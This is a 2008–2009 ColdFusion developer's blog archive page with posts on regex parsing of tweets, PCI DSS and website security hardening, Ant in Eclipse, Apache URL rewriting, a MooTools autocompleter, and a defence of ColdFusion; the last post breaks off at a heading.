Parsing Twitter Usernames, Hashtags and URLs with ColdFusion

1st May 2009 in ColdFusion, Twitter by Simon | No comments

Some time ago, well almost a year ago actually, I posted an article called Parsing Twitter Usernames, Hashtags and URLs with JavaScript. From that article, it became immediately apparent that this was an issue many people were confronting and one that required an answer. Now, belatedly, it is the turn of ColdFusion to get the Twitter love.

Compared to JavaScript it is far easier to parse the URLs, Usernames and Hashtags in a tweet using ColdFusion and minor amendments to the regular expressions used in the JavaScript code.

Below is an example tweet that I’ll use for this post.

<cfset myTweet = "Woot! I've just taken receipt of my Holux M-241 GPS logger. Good call @fordie. http://bit.ly/2RsAu ##holux ##ipslogger" />

NB. For the purpose of this test, I need to double-hash the hashtags to prevent ColdFusion throwing an error.

Parsing URLs as Links to the resource

We can simply demonstrate the parsing of the link with the following code in the body of the page:

<cfset myTweet = REReplace(myTweet,'([A-Za-z]+:\/\/[A-Za-z0-9-_]+\.[A-Za-z0-9-_:%&amp;\?\/.=]+)','<a href="\1">\1</a>','ALL') />

NB. The \1 is a back reference to part of the regular expression match. A backreference stores the part of the string matched by the part of the regular expression inside the parentheses. This means you can reuse it inside the regular expression, or afterwards as I am doing in each of these examples.

The resultant HTML generated is the following:

Woot! I've just taken receipt of my Holux M-241 GPS logger. Good call @fordie. <a href="http://bit.ly/2RsAu">http://bit.ly/2RsAu</a> #holux #ipslogger

Parsing Usernames as Links to Twitter

Following on from the URL example above, we can apply a similar methodology to Twitter usernames since they can also be URLs to their associated Twitter page.

We can simply demonstrate this with the following code:

<cfset myTweet = REReplace(myTweet,'[@]+([A-Za-z0-9-_]+)','<a href="http://twitter.com/\1" rel="nofollow">@\1</a>','ALL') />

The regular expression in this case finds all instances of @username. The Twitter URL is then applied to the username.

The resultant HTML generated is the following:

Woot! I've just taken receipt of my Holux M-241 GPS logger. Good call <a href="http://twitter.com/fordie" rel="nofollow">@fordie</a>. http://bit.ly/2RsAu #holux #ipslogger

Parsing Hashtags as Links to Twitter’s Search

Finally, Twitter also allows user’s to create Hastags within their posts. Hashtags are a community-driven convention for adding additional context and metadata to your tweets. Like regular URLs and usernames, Hastags can been parsed as a URL to an online resource, in this case, Twitter’s search.

We can simply demonstrate this with the following code:

<cfset myTweet = REReplace(myTweet,'[##]+([A-Za-z0-9-_]+)','<a href="http://search.twitter.com/search?q=%23\1" rel="nofollow">##\1</a>','ALL') />

The regular expression in this case finds all instances of #hashtag. The Twitter Search URL is then applied to the hashtag.

The resultant HTML generated is the following:

Woot! I've just taken receipt of my Holux M-241 GPS logger. Good call @fordie. http://bit.ly/2RsAu <a href="http://search.twitter.com/search?q=%23holux" rel="nofollow">#holux</a> <a href="http://search.twitter.com/search?q=%23ipslogger" rel="nofollow">#ipslogger</a>

All in one

So, putting all the regular expressions together, you would end up with the following:

Woot! I've just taken receipt of my Holux M-241 GPS logger. Good call <a href="http://twitter.com/fordie" rel="nofollow">@fordie</a>. <a href="http://bit.ly/2RsAu">http://bit.ly/2RsAu</a> <a href="http://search.twitter.com/search?q=%23holux" rel="nofollow">#holux</a> <a href="http://search.twitter.com/search?q=%23ipslogger" rel="nofollow">#ipslogger</a>

Which translates as the more useful tweet:

Woot! I’ve just taken receipt of my Holux M-241 GPS logger. Good call @fordie. http://bit.ly/2RsAu #holux #ipslogger

Where to take it next

Wrap these code snippets up into a simple twitterise function could be a good starter for ten. Following that, we could also create a simple Twitter feed reader, but I’ll leave that up to you to develop.

Programmer’s Dozen – Programming Best Practices

3rd March 2009 in ActionScript, ColdFusion, Flex, Java, JavaScript, PHP, Perl, Python, Ruby, Ruby on Rails by Simon | 4 comments

Take control of your code with these programming best practices from Kevlin Henney. At JAOO Aarhus 2008 Kevlin used a trash can, vampires, a train wreck, whiskey and much more to make you understand and remember his 13 constructive points (a programmer’s dozen) about programming and code smells.

The 13 points made by Kevlin were:

  • 0. Prefer code to comments.
  • 1. Follow a consistent form.
  • 2. Employ the contract metaphor.
  • 3. Express independent ideas independently.
  • 4. Encapsulate.
  • 5. Parameterize from above.
  • 6. Restrict mutability of state.
  • 7. Favor symmetry over asymmetry.
  • 8. Sharpen fuzzy logic.
  • 9. Go with the flow.
  • 10. Let code decide.
  • 11. Omit needless code.
  • 12. Unify duplicate code.

You can see a video of Kevlin’s presentation on the JAOO website.

Secure Your Application – PCI DSS Specifications

26th January 2009 in Adobe ColdFusion, Authentication, BlueDragon, Code, ColdFusion, Databases, Payment Processors, Railo, Server Side, Web Servers by Simon | 5 comments

PCI DSS stands for Payment Card Industry Data Security Standard, and is a worldwide security standard assembled by the Payment Card Industry Security Standards Council (PCI SSC). The PCI security standards are technical and operational requirements that were created to help organizations that process card payments prevent credit card fraud, hacking and various other security vulnerabilities and threats. The standards apply to all organizations that store, process or transmit cardholder data – with guidance for software developers and manufacturers of applications and devices used in those transactions. A company processing, storing, or transmitting cardholder data must be PCI DSS compliant.

Types of Data on a Payment Card

The PCI SSC (Council) is responsible for managing the security standards, while compliance with the PCI set of standards is enforced by the founding members of the Council: American Express, Discover Financial Services, JCB International, MasterCard Worldwide and Visa Inc. Non-compliant companies who maintain a relationship with one or more of the card brands, either directly or through an acquirer risk losing their ability to process credit card payments and being audited and/or fined.

All in-scope companies must validate their compliance annually. This validation can be conducted by Qualified Security Assessors, i.e. companies that have completed a three-step certification process by the PCI SSC which recognises them as being qualified to assess compliance to the PCI DSS standard. However, smaller companies have the option to use a Self-Assessment Questionnaire. Whether this questionnaire needs to be validated by a QSA depends on the requirements of the card brands in that merchant’s region.

The current version of the standard specifies 12 requirements for compliance, organised into 6 logically related groups, which are called “control objectives.”

  1. Build and Maintain a Secure Network
    • Requirement 1: Install and maintain a firewall configuration to protect cardholder data
    • Requirement 2: Do not use vendor-supplied defaults for system passwords and other security parameters
  2. Protect Cardholder Data
    • Requirement 3: Protect stored cardholder data
    • Requirement 4: Encrypt transmission of cardholder data across open, public networks
  3. Maintain a Vulnerability Management Program
    • Requirement 5: Use and regularly update anti-virus software
    • Requirement 6: Develop and maintain secure systems and applications
  4. Implement Strong Access Control Measures
    • Requirement 7: Restrict access to cardholder data by business need-to-know
    • Requirement 8: Assign a unique ID to each person with computer access
    • Requirement 9: Restrict physical access to cardholder data
  5. Regularly Monitor and Test Networks
    • Requirement 10: Track and monitor all access to network resources and cardholder data
    • Requirement 11: Regularly test security systems and processes
  6. Maintain an Information Security Policy
    • Requirement 12: Maintain a policy that addresses information security

Compliance with these requirements can be summarized into 3 main stages:

  • Collecting and storing: Secure collection and tamper-proof storage of all log data so that it is available for analysis.
  • Reporting: Being able to prove compliance on the spot if audited and present evidence that controls are in place for protecting data.
  • Monitoring and alerting: Have systems in place such as auto-alerting, to help administrators constantly monitor access and usage of data. Administrators are warned of problems immediately and can rapidly address them. These systems should also extend to the log data itself –- there must be proof that log data is being collected and stored.

What does this actually mean for web application developers?

It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time. If you follow the guidelines below, you will go along way to securing you application in line with the PCI DSS regulations. Many of the measures apply to general application security, but since PCI DSS is all about security, they are worth mentioning.

Server-level Security:

  • Separate web- and database-servers on to different physical machines.
  • Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.
  • Keep servers up-to-date with the latest patches and software releases.
  • Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.
  • Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous ‘noise’.
  • Secure the database server behind a firewall.

Application-level Security:

  • Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.
  • Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.
  • Revoke privileges in the ColdFusion datasource definition to prevent the SQL commands CREATE, DROP, GRANT, REVOKE and ALTER.
  • General settings in the ColdFusion Administrator:
    • Check the Disable access to internal ColdFusion Java components option.
    • Check the Enable Global Script Protection option.
    • Add a Missing Template Handler.
    • Add a Site-wide Error Handler.
    • Reduce the Maximum size of post data from 100MB.
    • Enable Timeout Requests, and set to 60 seconds or less.
    • Disable Robust Exception Handling on production servers.

Web Application-level Security:

  • Use secure HTTP to transfer data and/or when logged into ‘administration’ secutions of your web application.
  • Timeout sessions after 15 minutes and on browser close.
  • Provide multi-level login processes. For example, lock the application after 3 failed attempts for a period of 10 minutes.
  • Do not identify whether the username or password are incorrect, simply notify the user that their login failed and that they must try again.
  • Encrypt passwords stored in the database with a standard such as SHA-256 or ’stronger’.
  • Use CAPTCHAs (textual and aural) to prevent automated robots hacking into your application.
  • Run regular penetration tests on your application to identify potential problems.
  • Encrypt credit card information held in the database or other storage mechanism. Only store credit card data in line with the PCI DSS regulations.

Code-level Security:

  • Application.cfc – Set the scriptProtect Application variable to true to enable application-wide cross-site script protection.
  • CFQueryParam – This tag, importantly, verifies the data type of a query parameter and, for RDBMSs that support bind variables, enables ColdFusion to use bind variables in the SQL statement. Bind variable usage enhances performance when executing a cfquery statement multiple times. There are limitations to the use of the cfqueryparam tag. In ColdFusion 7 for example, you cannot use them in queries using the cachedWithin attribute. Similarly, they cannot be used in ORDER BY clauses, although the use of conditional logic should resolve the need for order by variables.
  • Functions – As a rule of thumb, validate all the data being passed into a query prior to it being used. ColdFusion MX 7 saw the introduction of the isValid() function. This function tests whether a value meets a validation or data type rule and can be used to replace a large number of type-specific functions such as isArray(), isBinary(), isBoolean(), isDate(), isNumeric() and isSimpleValue() etc.
  • Stored Procedures – I often favour the use of stored procedures over standard queries. Not only do they add an additional level of performance, they provide an additional level of security; ColdFusion does not do any raw processing of queries in the web code, it simply passes variables down the wire to the database server.

Conclusion

The goal of the PCI Data Security Standard is to protect cardholder data that is processed, stored or transmitted by merchants. The security controls and processes required by PCI DSS are vital for protecting cardholder account data, including the PAN – the primary account number printed on the front of a payment card. Merchants and any other service providers involved with payment card processing must never store sensitive authentication data after authorisation. This includes sensitive data that is printed on a card, or stored on a card’s magnetic stripe or chip – and personal identification numbers entered by the cardholder.

By following the points made above, you will go a long way to meeting the PCI DSS guidelines, whilst also securing your infrastructure and applications in a more general sense.

Caveat: The views and comments written in this article are provided as a guideline. I hold no responsibility for the security of your applications and data based upon the information provided.

Adobe’s LiveCycle Powered by Amazon’s Cloud

14th January 2009 in Adobe, Adobe ColdFusion, Adobe LiveCycle, Amazon, Cloud Computing, ColdFusion, Podcast by Simon | 2 comments

Adobe recently announced, in conjunction with Amazon, that they would bring LiveCycle to Amazon’s Elastic Compute Cloud (EC2). To quote Adobe:

Adobe is now offering developers subscribed to the Adobe Enterprise Developer Program access to their own virtual instance of LiveCycle ES through LiveCycle ES Developer Express. LiveCycle ES Developer Express provides a pre-configured, virtualized installation of LiveCycle ES Solution Components in a self-contained development environment. LiveCycle ES Developer Express is hosted on the Amazon Elastic Compute Cloud (Amazon EC2). AEDP members can test, build, store and develop their applications in a cloud-base environment where all LiveCycle ES applications are pre-configured and running. The Adobe Enterprise Developer Program will offer a minimum of 10 hours of runtime per month, with additional hours to be available separately.

What is cloud computing and why is it important?

The term cloud computing, as used by some commentators, refers to the use of scalable, real-time, Internet-based information technology services and resources. This somewhat nebulous concept incorporates software as a service (SaaS), utility computing, Web 2.0 and other recent technology trends. The common theme stresses reliance on the Internet for satisfying the computing needs of users, without them needing knowledge of, expertise with, or control over the technology infrastructure that supports them. An often-quoted example is Google Apps, which provides common business applications online that are accessed from a web browser, while the software and data are stored on Google servers.

The cloud element of cloud computing derives from a metaphor used for the Internet, from the way it is often depicted in computer network diagrams, and is an abstraction for the complex infrastructure it conceals.

How do Adobe and Amazon fit into the equation?

Adobe and Amazon have similar goals. They both want to gain more share of the enterprise market. Amazon needs to convince the enterprise that its version of the cloud is capable of supporting the demands of enterprise applications. On the other hand Adobe wants to convince the developers who already use AWS that LiveCycle is the platform of choice for the enterprise.

What is Adobe LiveCycle?

Adobe LiveCycleAdobe’s LiveCycle Enterprise Suite is a J2EE-based server software product used to build applications that automate a broad range of business processes for enterprises and government agencies.

LiveCycle combines technologies for data capture, information assurance, document output, content services, and process management to deliver solutions such as account opening, services and benefits enrollment, correspondence management, request for proposal processes, and other manual based workflows.

What are Amazon Webservices?

Amazon Webservices LogoSince early 2006, Amazon Web Services (AWS) has provided companies of all sizes with an infrastructure web services platform in the cloud. With AWS you can requisition compute power, storage, and other services–gaining access to a suite of elastic IT infrastructure services as your business demands them. With AWS you have the flexibility to choose whichever development platform or programming model makes the most sense for the problems you’re trying to solve. You pay only for what you use, with no up-front expenses or long-term commitments, making AWS a cost-effective way to deliver applications to customers and clients.

How do they fit together?

Essentially, Adobe has put a Red Hat JBoss J2EE stack on AWS and deployed LiveCycle on the stack. Adobe state that this platform is purely for prototyping, developing and testing applications, rather than production environments, but that is likely to change.

The future

Deploying LiveCycle on AWS has wider implications, not only for Adobe products. By setting up a J2EE stack on AWS it makes it possible to deploy any Java-based application; yes that does mean one developed in Adobe’s ColdFusion or indeed its chief rival, Railo.

Let’s not Dilly-Dally: ColdFusion has its Merits

9th January 2009 in Adobe, Adobe ColdFusion, Business, ColdFusion, Flex, The Web by Simon | 10 comments

ColdFusion is 13 years old. That make makes it the daddy of the web world! It does not make it any less hip or useful than the relatively new kids on the block.

Take this scenario. A company I once worked for had what can be described as a business directory built upon a licensed, yet bastardised, version of a popular ColdFusion-based CMS. It didn’t work that well! The decision was made to redevelop the application in Java. It took two years to reach the same level of functionality! What happened next? Ruby-on-Rails is what! The rest is history and beyond the topic of this post.

So, in effect, the application almost went full-circle in its development paradigm — both ColdFusion and Ruby-on-Rails can be considered Rapid Application Development environments, Java, certainly not. Why did the decision makers not stick with ColdFusion and put time aside to actually build it properly in the first place? To put it simply, they lost faith in ColdFusion; it was largely mis-understood.

The weakness of every programming language does not lie with the language itself per se — albeit it can have an important influencing factor — but rather with the ability, or indeed inability, of the developer to leverage the language in the most efficient and optimal way.

ColdFusion, like every other programming language has had and I’m sure still does have its fair share of poor developers; those people simply working with it as a means-to-an-end, rather than those passionate about the language, those people programming without understanding the fundamentals of programming or the implications of their poorly written code. This is apparent from .NET to Java, ColdFusion to Ruby, JavaScript to ActionScript.

Let’s not dilly-dally, bicker or insult one another about which is best, which one is dying and which one is not worth the computer it is compiled on. What is important is to understand the merits of each language and decide which one best suits the application, not only in technical terms, but also in terms of time-to-market, cost of development, availability of a skilled workforce etc.

ColdFusion, whether rightly or wrongly in some people’s opinion, can sit proudly amongst its peers and provide a truly compelling alternative.

Here’s how (in no particular order):

  1. Low Total Cost of Ownership – frequently, ColdFusion is described as expensive, it simply isn’t especially if you consider the natively supported functions. But to put it bluntly, if your company cannot afford the cost of ColdFusion standard, or indeed ColdFusion hosting, you have bigger things to worry about regarding the profitability of the company; you won’t be able to afford much of anything! The problem becomes not the product. ColdFusion applications are quicker to develop and developers are vastly cheaper to employ than their peers in Java or Ruby, just look at ITJobsWatch for examples.
  2. Rapid Application Development – ColdFusion vastly simplifies tasks. What would take other languages numerous lines of code to produce is efficiently encapsulated either in a tag or function or as a setting in the administrator. This is a simplistic yet indicative example: where else can you connected to a database simply with one line of code or indeed simply by name? ColdFusion changed the idea of specifying development time in terms of months and years to weeks and months or small features a matter of hours and days. Simplicity is not the mother or all evil. To be pragmatic, simplification reduces costs.
  3. Rich Internet Applications – ColdFusion may or may not have pioneered the RIA paradigm, but it has played a significant supporting role to Flash and now Flex. ColdFusion natively supports Flash remoting, providing the all important data access tier.
  4. Platform Maturity – ColdFusion 8 is built upon the latest version of Java (1.6). Along with internal improvements to the ColdFusion application, this has afforded ColdFusion unprecedented speed improvements and stability.
  5. Language Maturity – with each major release of ColdFusion comes many language enhancements added to the core. This means that previous addons, for example image manipulation, which came at a premium are now standard. Adobe and other companies that produce CFML engines are now participating in a CFML advisory committee, which aims to set standards for the core language. This is not only a sign of maturity but a letter of intent by the industry that will mean your application will work on any engine, assuming no proprietary functionality is used.
  6. The Ultimate Middleware – ColdFusion sits comfortably between any backend and front end system. Be it interfacing with a host of databases, Java, .NET, COM, Corba or connecting to classic HTML or rich Flash, Flex and AJAX frontends with little or no configuration.
  7. Feature Rich – what other web technology natively supports PDF generation, charting, enterprise-level search, AJAX, image manipulation, Atom and RSS creation, Zip and JAR file manipulation, a server monitor, Flex integration, encryption libraries, all important database connectors, webservice creation, XML manipulation, inbuilt reporting application (similar to Crystal Reports), email, FTP to name but a few? I hazard a guess at none, unless you’re happy to pay a premium.
  8. Platform Independent – since ColdFusion 6, when Macromedia redeveloped the entire application in Java, ColdFusion has been platform independent. You can install it on practically any machine.
  9. OpenSource Alternatives – BlueDragon and Railo are both significant alternatives to Adobe ColdFusion and both have opensource alternatives, the latter of the two having recently joined the JBoss community. Adobe are also considering providing a free edition to academic institutions.
  10. The Future – many commentators have mentioned Hibernate as a significant addition to the next release of ColdFusion, version 9. But having seen the prerelease notes, that is not all that will be added. Alas I’m under NDA, but rest assured, there is going to be a significant intake of breath when developers get hold of the next release. ColdFusion 8 was firmly geared towards middle management with fuzzy additions, ColdFusion 9 is set to re-address the balance with compelling language and functionality enhancements.

ColdFusion evangelism needs to step up a gear! Adobe certainly doesn’t afford much marketing budget to the product, prefering The Community do the hard work. It is not always easy convincing the decision makers that ColdFusion is a good product of choice, without Adobe’s unnerving support, but we have to work hard, break down those barriers, encroach on events outside the comfortable sphere of the ColdFusion world and demonstrate ColdFusion’s match-winning ability.

ColdFusion isn’t dying, it’s simply niche. Every niche has its place.

UPDATE: If you would like to view the ensuing debate regarding ColdFusion prompted by Aral Balkan, feel free to do so. This post should serve as a positive reminder of ColdFusion’s virtues, alongside the need for a balanced and polite debate.

Using Ant with Eclipse

6th January 2009 in Apache Ant, ColdFusion, Eclipse by Simon | 5 comments

If you’re currently not using Eclipse as your development tool of choice, you certainly should be! Eclipse is an open source community whose projects are focused on building an open development platform comprised of extensible frameworks, tools and runtimes for building, deploying and managing software across the lifecycle.

Eclipse started out as a Java IDE and has continually grown from there. Plugins now include, amongst a plethora of others, the venerable Aptana, CFEclipse, SQL Explorer, Subclipse and, more recently, the Adobe-developed Flex Builder and ColdFusion-equivalent codenamed Bolt.

Apache Ant is a software tool for automating software build processes. It is implemented using the Java language, requires the Java platform, and was originally developed to automate the build of Java projects. However, since Ant was created as a simple, platform-independent tool, it can really be used to automate the build of anything you choose.

Ant uses XML to describe the build process and its dependencies, using a file commonly called build.xml. Using this file, Ant makes it trivial to integrate unit testing frameworks with the build process and has made it easy for web developers to adopt test-driven development, and even Extreme Programming.

Fortunately for us, if you download and run Eclipse, you already have Ant installed and so do not have any complex configuration to concern yourself with; well, at least initially.

Setting Up Eclipse

For the most part, Eclipse has all you need to get up and running with Ant pre-installed. However, most projects will include a release target which uses FTP to upload the files to a live server. The FTP ant task requires some extra libraries (.jar files):

commons-net-*.jar
jakarta-oro-*.jar

(The library files can be downloaded from here).

Copy the files into the ant lib folder of your Eclipse install. The folder is commonly located here:

C:\Program Files\Eclipse\plugins\org.apache.ant_*\lib

(The asterix * refers to the Ant version).

Next, go to Window > Preferences and select Ant > Runtime. In the Classpath tab, select Ant Home Entries, click Add External JARs… and select the 2 files you copied to the ant lib folder.

A Typical Ant Project Setup

A project with ant build scripts should have the following within the repository:

  • build.xml (the actual ant build script)
  • build.properties.template (a template for individual build.properties files)
  • an optional top level lib folder (containing jar files for external ant tasks)

Examples of the build.xml and build.properties.template files can be downloaded from here.

Create Your Own build.properties File

Make a copy of the build.properties.template file (name it build.properties) and set the values to fit your local setup (in most cases, the only property you may want to change is deploy.dir.local which is the path to the site on your local machine).

This file should never be committed to the repository (the repository should be set to ignore it anyway).

Basic Build Tasks

The build file should have a deploy.local task. This task builds the project and copies it to your local webserver (the path to the web server folder will be defined in the build.properties file).

Most projects should also have a deploy.dev task to copy the latest work to the dev server so that other people can view it.

Setting Up an Automatic Build

To make things easy, you can set deploy.local to run every time you save a file. This is called an automatic build.

The process for setting up automatic build is quite convoluted. I’m not sure why but this is the best way I’ve found to make it work.

Step 1: Add the build file to your ant view

Click the add button and select the build.xml file from the project. You can also drag the build.xml file onto the ant view (To add the ant view to your perpective, go to Window > Show View > Other…)

Step 2: Run as Ant Build

In your ant view, right click the newly added build file and select Run As > Ant Build… In the dialog window, select the ‘Hide internal targets not selected for execution’ option in the Targets tab. You can rename the builder in the box at the top of the window if you wish (I usually remove the trailing ‘build.xml’. Click Apply and Close.

Step 3: Setup automatic build

Right click on the project, select Properties, then Builders. Click Import. Before closing the screen, highlight the imported build and select edit. Go to the Targets tab select clean for ‘After a clean’ and deploy.local for ‘Auto build’. Apply the changes and close.

Step 4: Enable Auto Build

Go to Project > Build Automatically

Acknowledgment: Thanks should go to Martin Laine for his help and guidance which resulted in this article.

Enabling Search Engine Safe URLs with Apache and htaccess

8th December 2008 in Apache, ColdBox, ColdFusion, Fusebox by Simon | 1 comment

An increasingly popular technique among websites and in particular, blogs, is the idea of making URLs search engine friendly, or safe, on the premise that doing so will help search engine optimisation. By removing the obscure query string element of a URL and replacing it with keyword rich alternatives, not only makes it more readable for a human being, but also the venerable robots that allow our page content to be found in the first place.

For example, the following is WordPress’ default URL configuration for a post:

http://www.domain.com/?p=1635

However, buy using a URL-rewriting available in the Apache webserver, we can achieve a far better result, such as the following:

http://www.domain.com/search-engine-safe-urls

NB. It is also possible to achieve a similar result with an ISAPI rewrite for Microsoft’s IIS webserver, but this topic will not be included in this post.

To get your website working with SES URLs you need to enable both the mod_rewite module and AllowOverride directive in the Apache configuration file.

Uncomment (remove #) from the following to enable the re-write rule:

LoadModule rewrite_module modules/mod_rewrite.so

Change the AllowOverride directive from none to all

<Directory />
    Options FollowSymLinks
    AllowOverride all
    Order deny,allow
    Deny from all
</Directory>
 
<Directory "C:/WebRoot">
    # Possible values for the Options directive are "None", "All",
    # or any combination of:
    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
    #
    # Note that "MultiViews" must be named *explicitly* --- "Options All"
    # doesn't give it to you.
    #
    # The Options directive is both complicated and important.  Please see
    # http://httpd.apache.org/docs/2.2/mod/core.html#options
    # for more information.
    #
    Options Indexes FollowSymLinks
 
    #
    # AllowOverride controls what directives may be placed in .htaccess files.
    # It can be "All", "None", or any combination of the keywords:
    #   Options FileInfo AuthConfig Limit
    #
    AllowOverride All
 
    #
    # Controls who can get stuff from this server.
    #
    Order allow,deny
    Allow from all
</Directory>

On Apache webservers, .htaccess (hypertext access) is the default name of directory-level configuration files. An .htaccess file is placed in a particular directory, and the directives in the .htaccess file apply to that directory, and all its subdirectories. It provides the ability to customize configuration for requests to the particular directory. In our case, enabling search engine safe (SES) URLs.

By setting the AllowOverride directive to All in effect defers configuration settings to the .htaccess file.

An example .htaccess file could include the following code to rewrite the URLs:

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php/$1 [L,QSA]

Search engine friendly URLs are implemented with Rewrite engines. The rewrite engine modifies the URL based upon a number of rewrite conditions and rules.

The RewriteBase directive explicitly sets the base URL for per-directory rewrites. The RewriteCond directive defines a rule condition, so in this case handling missing files or directories. Finally, the RewriteRule directive is the real rewriting workhorse. In this example, we’re getting everything in the URI — i.e. not including the protocol (HTTP/S) and domain name — based upon a regular expression. This is then appended to the default file reference — index.php — as a back reference. The [L,QSA] refers to the rule being the last rule and append any query string parameters to the default file. It is important to note that this is all done on the server side, the user will never see the website address changing in the browser’s address bar. Furthermore, simply transposing the index.php filename with your default file name — e.g. index.cfm, default.aspx — will have the same result. Indeed, the above rewrite rules are becoming a de-facto standard for web applications.

To fully understand mod_rewrite rules above, look at the Apache mod_rewrite documentation.

Once you have your SES functionality in place on the webserver, it is then the responsibility of your application framework to understand the URL construction and handle it accordingly. Fortunately, frameworks such as ColdBox and Fusebox for ColdFusion, Zend and Symfony for PHP, all contain functionality to do this, but that is the subject of an entirely different post.

Users of web applications prefer short, neat URLs to raw query string parameters. A concise URL is easy to remember, and less time-consuming to type in. If the URL can be made to relate clearly to the content of the page, then errors are not only less likely to happen, but our good friends the search engine robots are able to draw a stronger assumption of the pages’ relevance and content.

Using the MooTools Autocompleter Plugin with ColdFusion

21st August 2008 in ColdFusion, JavaScript, Mootools by Simon | 3 comments

In a previous post, I demonstrated how to implement Dylan Verheul’s jQuery Autocomplete plugin. Not content with demonstrating one library’s plugin, it is now the turn of MooTools.

MooTools is a compact, modular, Object-Oriented JavaScript framework designed for the intermediate to advanced JavaScript developer. It allows you to write powerful, flexible, and cross-browser code with its elegant, well documented, and coherent API.

In this post I will show you how to implement the AutoCompleter plugin by Harald Kirschner. Kirschner’s AutoCompleter plugin script for MooTools provides the functionality for text suggestion and completion. It features different data-sources (local, JSON or XML), a variety of user interactions, custom formatting, multiple selection, animations and much more.

The Goal

The goal of this post will be the same as the jQuery autocomplete post: Allow the user to type a few characters into a standard form text input field and to automatically provide suggestions from which the user can select.

Prerequisites

  1. The latest copy of MooTools
  2. A basic understanding of JavaScript and JSON
  3. A server-side script that can respond to the AJAX request, in our case ColdFusion

Demo

The demo below will show how to interact with a simple ColdFusion script, but I’ll also provide more (advanced) examples in the download.

How It Works

Once the user begins to type into the form text input field, the MooTools auto-complete is activated. After a set character length and time interval (both optional), a list of items is displayed below the input field. The user can select an item with either the arrow keys or mouse.

NB. Clicking back in the input field will repopulate the auto-complete list, if options are available, so that the user can change the selection. Deleting part of the chosen item will also trigger a new selection list.

The Code

There are three parts to this demo:

  1. The page’s HTML.
  2. The server-side code to produce the dynamic page (i.e. to load the autocomplete div when the user types something into the input field).
  3. The MooTools JavaScript.

HTML Form

<h1>Example: Country Lookup</h1>
<p>Using <abbr title="Asynchronous JavaScript and XML">AJAX</abbr> to interrogate the database.</p>
<p>Example data: Australia, Bulgaria, United Kingdom</p>
<form name="frmAutoCompleteCountry" id="frmAutoCompleteCountry" action="#" method="post">
<p>
<label for="country">Country</label>
<input type="text" name="country" id="country" />
</p>
</form>

ColdFusion

Below is a simple ColdFusion component that takes a string as an argument. This string is part or all of the country name. The query results are parsed as an array and returned from the function, as JSON, to the MooTools auto-complete function.

<cfcomponent output="false">
 
	<cffunction name="getCountry" access="remote" output="false" returntype="array" returnformat="json">
		<cfargument name="country" type="string" required="true" />
 
		<cfset var qryCountry = queryNew('country') />
		<cfset var arrCountry = arrayNew(1) />
 
		<cfquery name="qryCountry" datasource="test">
		SELECT countryName
		FROM country
		WHERE countryName LIKE <cfqueryparam value="%#ARGUMENTS.country#%" cfsqltype="cf_sql_varchar" />
		</cfquery>
 
		<cfloop query="qryData">
			<cfset arrCountry[currentRow] = qryCountry.countryName[currentRow] />
		</cfloop>
 
		<cfreturn arrCountry />
	</cffunction>
 
</cfcomponent>

JavaScript

The JavaScript will attach itself after the DOM is ready — this more or less relates to when the page has loaded in the browser. Each time the text input field, with the ID of country, is changed, the Autocompleter.Ajax.Json event is fired. This makes a call to the ColdFusion component, which returns a JSON object of matched items. This JSON object is interpreted by the plugin and rendered as an HTML un-ordered list.

<script type="text/javascript" src="mootools.js"></script>
<script type="text/javascript" src="Observer.js"></script>
<script type="text/javascript" src="Autocompleter.js"></script>
<link rel="stylesheet" href="Autocompleter.css" type="text/css" media="screen" />
<script type="text/javascript">
window.addEvent('domready', function() {
	new Autocompleter.Ajax.Json(
		'country',
		'data/Country.cfc?method=getCountry&returnformat=json&country=' + $('country').getProperty('value')
		, {
			'minLength': 1, // We wait for at least one character
			'overflow': true // Overflow for more entries'
	});
});
</script>

Where to Take it Next

Unobtrusive JavaScript

As with any page that is loaded with JavaScript and AJAX functionality, it should work without JavaScript.

To achieve this with the above tutorial, you will need to replace the MooTools autocomplete functionality with an ‘interim’ page that allows a user to select from a list of items, effectively turning the input field into a simple search interface. Of course, all other form field information would need to be retained between pages.

Download the Code

The example code can be downloaded from the demo page. Included are ColdFusion and PHP examples.

How to Protect Your Website from a Malicious Attack

18th August 2008 in Business, ColdFusion, Databases, SQL by Simon | 1 comment

Every seasoned developer will know that protecting your website from a hacker is a top priority, whether for your own reputation or for maintaining your company’s reputation and log-term revenue prospects.

Why should you be worried about security?

The Web is changing many of the assumptions that people have historically made about computer security and publishing. As the Internet makes it possible for web servers to publish information to millions of users, it also makes it possible for computer hackers, crackers, criminals, vandals, and other “bad guys” to break into the very computers on which the web servers are running. Once subverted, web servers can be used by attackers as a launching point for conducting further attacks against users and organisations.

It is considerably more expensive and more time-consuming to recover from a security incident than to take preventative measures ahead of time.

This blog post started on the premise of protecting your website from a SQL Injection Attack. However, it is also appropriate to discuss, at a relatively high level, how to secure your server architecture and applications.

Server-Level Security

  • Separate web- and database-servers on to different physical machines.
  • Secure the web- and database-servers with traditional techniques. Only authorised accounts should have the capabilities to run tasks on the machine. That means not giving admin-rights to the user account.
  • Keep servers up-to-date with the latest patches and software releases.
  • Minimise the number of services running on the server. This means limiting the services to only those required for the web- or database-servers to function.
  • Secure information in transit between servers. This may mean physically securing the network to prevent evesdropping via encryption or obfuscating the data amongst innocuous ‘noise’.
  • Secure the database server behind a firewall.

Application-Level Security

  • Separate ColdFusion, the webserver and database server user accounts. They should never be under the same system account.
  • Create a database user specifically for your ColdFusion datasource and restrict it to only the activities required for the application. The user should not have database-owner rights, access to databases not relating to the application or access to the system tables.
  • Revoke privileges in the ColdFusion datasource definition to prevent the SQL commands CREATE, DROP, GRANT, REVOKE and ALTER.
  • General settings in the ColdFusion Administrator:
    • Check the Disable access to internal ColdFusion Java components option.
    • Check the Enable Global Script Protection option.
    • Add a Missing Template Handler.
    • Add a Site-wide Error Handler.
    • Reduce the Maximum size of post data from 100MB.
    • Enable Timeout Requests, and set to 60 seconds or less.
    • Disable Robust Exception Handling on production servers.

Code-Level Security

